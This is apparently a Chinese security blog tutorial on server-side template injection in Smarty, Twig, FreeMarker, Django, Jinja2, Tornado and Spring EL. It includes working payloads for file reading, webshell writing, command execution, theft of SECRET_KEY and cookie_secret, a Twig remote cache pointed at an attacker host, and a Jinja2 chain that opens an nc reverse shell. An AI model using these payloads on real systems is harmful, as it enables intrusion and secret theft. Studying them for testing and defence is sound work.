ssti注入续()

前言:

之前理解的ssti注入一直以为是python才有的,后来发现并不是的,应该说是服务器端模板注入,凡是使用模板的地方都有可能出现ssti注入!!

模板注入攻击步骤

确定模板类型——>选择对应攻击语句

常见模板引擎

1.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

4.注意:

同一种语言不同的模板引擎支持的语法虽然很像,但是还是有略微的差异的,比如

tornado render() 中支持传入自定义函数,以及函数的参数,然后在两个大括号

1
{{}}

中执行,但是 django 的模板引擎相对于tornado 来说就相对难用一些

php实例:

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;

python实例

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

java实例

1
2
<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("id") }

检测方法

这里提供一个大牛写的 SSTI 的检测工具 https://github.com/epinna/tplmap
或者64验证是否会被运算输出

攻击方向

0X06 攻击思路

1.攻击方向:

找到模板注入主要从三个方向进行攻击

(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身

2.攻击方法:

我们知道 SSTI 能够造成很多种危害,包括 敏感信息泄露、RCE、GetShell 等,关键就在于如何才能利用这个注入点执行我们想执行的代码,那么我们寻找利用点的范围实际上就是在我们上面的四个地方,一个是模板本身支持的语法、内置变量、属性、函数,还有就是纯粹框架的全局变量、属性、函数,然后我们考虑语言本身的特性,比如 面向对象的内省机制,最最最后我们无能为力的时候才考虑怎么寻找应用定义的一些东西,因为这个是几乎没有文档的,是开发者的自行设计,一般需要拿到应用的源码才能考虑,于是我将其放在最后一个

注意:

在这种面向对象的语言中,获取父类这种思想要贯穿始终,理论基础就是 Python 的魔法方法 PHP 的自省 JAVA 的反射 机制

1.利用模板本身的特性进行攻击

1.Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的好用的方法

比如:getStreamVariable()

github 中明确指出,这个方法可以获取传入变量的流(说人话就是读文件)

payload:

1
{self::getStreamVariable("file:///proc/self/loginuid")}

再比如:class Smarty_Internal_Write_File

有了上面的读文件当然要找一个写文件的了,这个类中有一个writeFile方法

函数原型:

1
public function writeFile($_filepath, $_contents, Smarty $smarty)

但是这个第三个参数是一个 Smarty 类型,后来找到了 self::clearConfig()

函数原型:

1
2
3
4
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell

payload:

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
2.Twig

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是 通过官方文档的查询

如下图所示:

此处输入图片的描述此处输入图片的描述

Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env

如下图所示:

此处输入图片的描述此处输入图片的描述

env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php

如下图所示:

此处输入图片的描述此处输入图片的描述

因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞:

payload:

1
2
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是新的问题出现了,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()

这个函数中调用了一个 call_user_function 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

1
2
3
{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}
3.freeMarker

这个模板主要用于 java ,在上面我举例 java 的 SSTI 的时候我已经简答的分析过这个的一个 payload,我希望读者也能按照 查找文档,查看框架源码,等方式寻找这个 payload 的思路来源

payload:

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

2.利用框架本身的特性进行攻击

因为这里面的摸吧模板似乎都是内置于框架内的,于是我就将其放在利用框架这一节

1.Django
1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

注入点很明显就是 email,但是如果我们的能力已经被限制的很死,很难执行命令,但又想获取和 User 有关的配置信息的话,我么怎么办?

可以发现我们现在拿到的只有有一个 和user 有关的变量,那就是 request user ,那我们的思路是什么?

p牛在自己的博客中分享了这个思路,我把它引用过来:

Django是一个庞大的框架,其数据库关系错综复杂,我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架,在没有目标源码的情况下很难去挖掘信息,所以我的思路就是:去挖掘Django自带的应用中的一些路径,最终读取到Django的配置项

什么意思,简单地说就是我们在没有应用源码的情况下要学会去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用,然后一步一步的靠近我们的目标

后来我们发现,经过翻找,我发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

如下图:

此处输入图片的描述此处输入图片的描述

所以,思路就很明确了:我们只需要通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

payload:

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2.Flask/Jinja2

config 是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。虽然config是一个类字典对象,但是通过查阅文档可以发现 config 有很多神奇的方法:from_envvar, from_object, from_pyfile, 以及root_path。

如图所示:

此处输入图片的描述此处输入图片的描述

这里我们利用 from_pyfile 和 from_object 来命令执行,下面是这两个函数的源代码(为了阅读清晰,注释我删除了)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def from_pyfile(self, filename, silent=False):

filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True


def from_object(self, obj):

if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

简单的解释一下这个方法:

这个方法将传入的文件使用 compile() 这个python 的内置方法将其编译成字节码(.pyc),并放到 exec() 里面去执行,注意最后一个参数 d.__dict__翻阅文档发现,这个参数的含义是指定 exec 执行的上下文,

如图所示:

[![此处输入图片的描述](https://picture-1253331270.cos.ap-beijing.myqcloud.com/Python exec.png)](https://picture-1253331270.cos.ap-beijing.myqcloud.com/Python exec.png)此处输入图片的描述

我们简单的模拟一下看一下效果

如图所示:

此处输入图片的描述此处输入图片的描述
此处输入图片的描述此处输入图片的描述

执行的代码片段被放入了 d.__dict__ 中,这看似没设么用,但是神奇的是后面他调用了 from_object() 方法,根据源码

1
2
3
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

这个方法会遍历 Obj 的 dict 并且找到大写字母的属性,将属性的值给 self[‘属性名’],所以说如果我们能让 from_pyfile 去读这样的一个文件

1
2
from os import system
SHELL = system

到时候我们就能通过 config[‘SHELL’] 调用 system 方法了

那么文件怎么写入呢?Jinja2 有沙盒机制,我们必须通过绕过沙盒的方式写入我们想要的文件,具体的沙盒绕过可以参考我的一篇博文[python 沙盒逃逸备忘](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)

最终的 payload:

1
2
3
4
5
6
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
3.Tornado

写文章的时候正巧赶上护网杯出了一道 tornado 的 SSTI 于是这里也作为一个比较好的例子给大家说明

根据提示这道题的意思就是通过SSTI 获取 cookie_secret,但是这里过滤了很多东西

1
"%'()*-/=[\]_|

甚至把_(下划线)都过滤了,也就是说我们没法通过Python 的魔法方法进行沙盒逃逸执行命令,并且实际上对我们的寻找合适的 tornado 的内置的方法也有很多的限制。

我觉得除了直接阅读官方的文档,还有一个重要的方法就是直接下载 tornado 的框架源码,全局搜索 cookie_secret

如下图:

此处输入图片的描述此处输入图片的描述

你会发现 cookie_secret 是handler.application.settings 的键值,那我们只要获取到这个对象是不是就可以了,没错,那么 handler 是什么,看官方文档,我特地看一下模板的对框架的语法支持(因为,模板中有一些内置的对象等同于框架中的对象,但是一般为了方便书写前段就会给一个比较简单的名字,就比如 JSP 的 request 内置对象实际上对应着 servlet 中的 HttpServletRequest )

如下图所示:

此处输入图片的描述此处输入图片的描述

这里明确写着 handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档

如下图所示:

此处输入图片的描述此处输入图片的描述

很清楚,我么看到 RequestHandler.settings 是 self.application.settings 的别名,等等! 有没有觉得有些似曾相识?对啊,这不就是我们之前在框架源码中找到的那个东西吗,也就是说我们能直接通过 handler.settings 访问到 我们朝思暮想的 cookie_secret ,至此我的分析就结束了。

payload:

1
http://117.78.26.79:31093/error?msg={{handler.settings}}

2.利用模语言本身的特性进行攻击

1.Python

Python 最最经典的就是使用魔法方法,这里就涉及到Python沙盒绕过了,前面说过,模板的设计者也发现了模板的执行命令的特性,于是就给模本增加了一种沙盒的机制,在这个沙盒中你很难执行一般我们能想到函数,基本都被禁用了,所以我们不得不使用自省的机制来绕过沙盒,具体的方法就是在我的[一篇博文](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)中

2.JAVA

java.lang包是java语言的核心,它提供了java中的基础类。包括基本Object类、Class类、String类、基本类型的包装类、基本的数学类等等最基本的类

如下图所示:

此处输入图片的描述此处输入图片的描述

有了这个基础我们就能想到这样的payload

payload:

1
2
3
${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

当然要是文件操作就要用另外的类了,思路是不变的

payload:

1
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

注意:

这里面的 T() 是 EL 的语法规定(比如 Spring 框架的 EL 就是 SPEL)

参考:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#0X06-%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF

Author

vague huang

Posted on

2021-04-01

Updated on

2021-04-11

Licensed under

Comments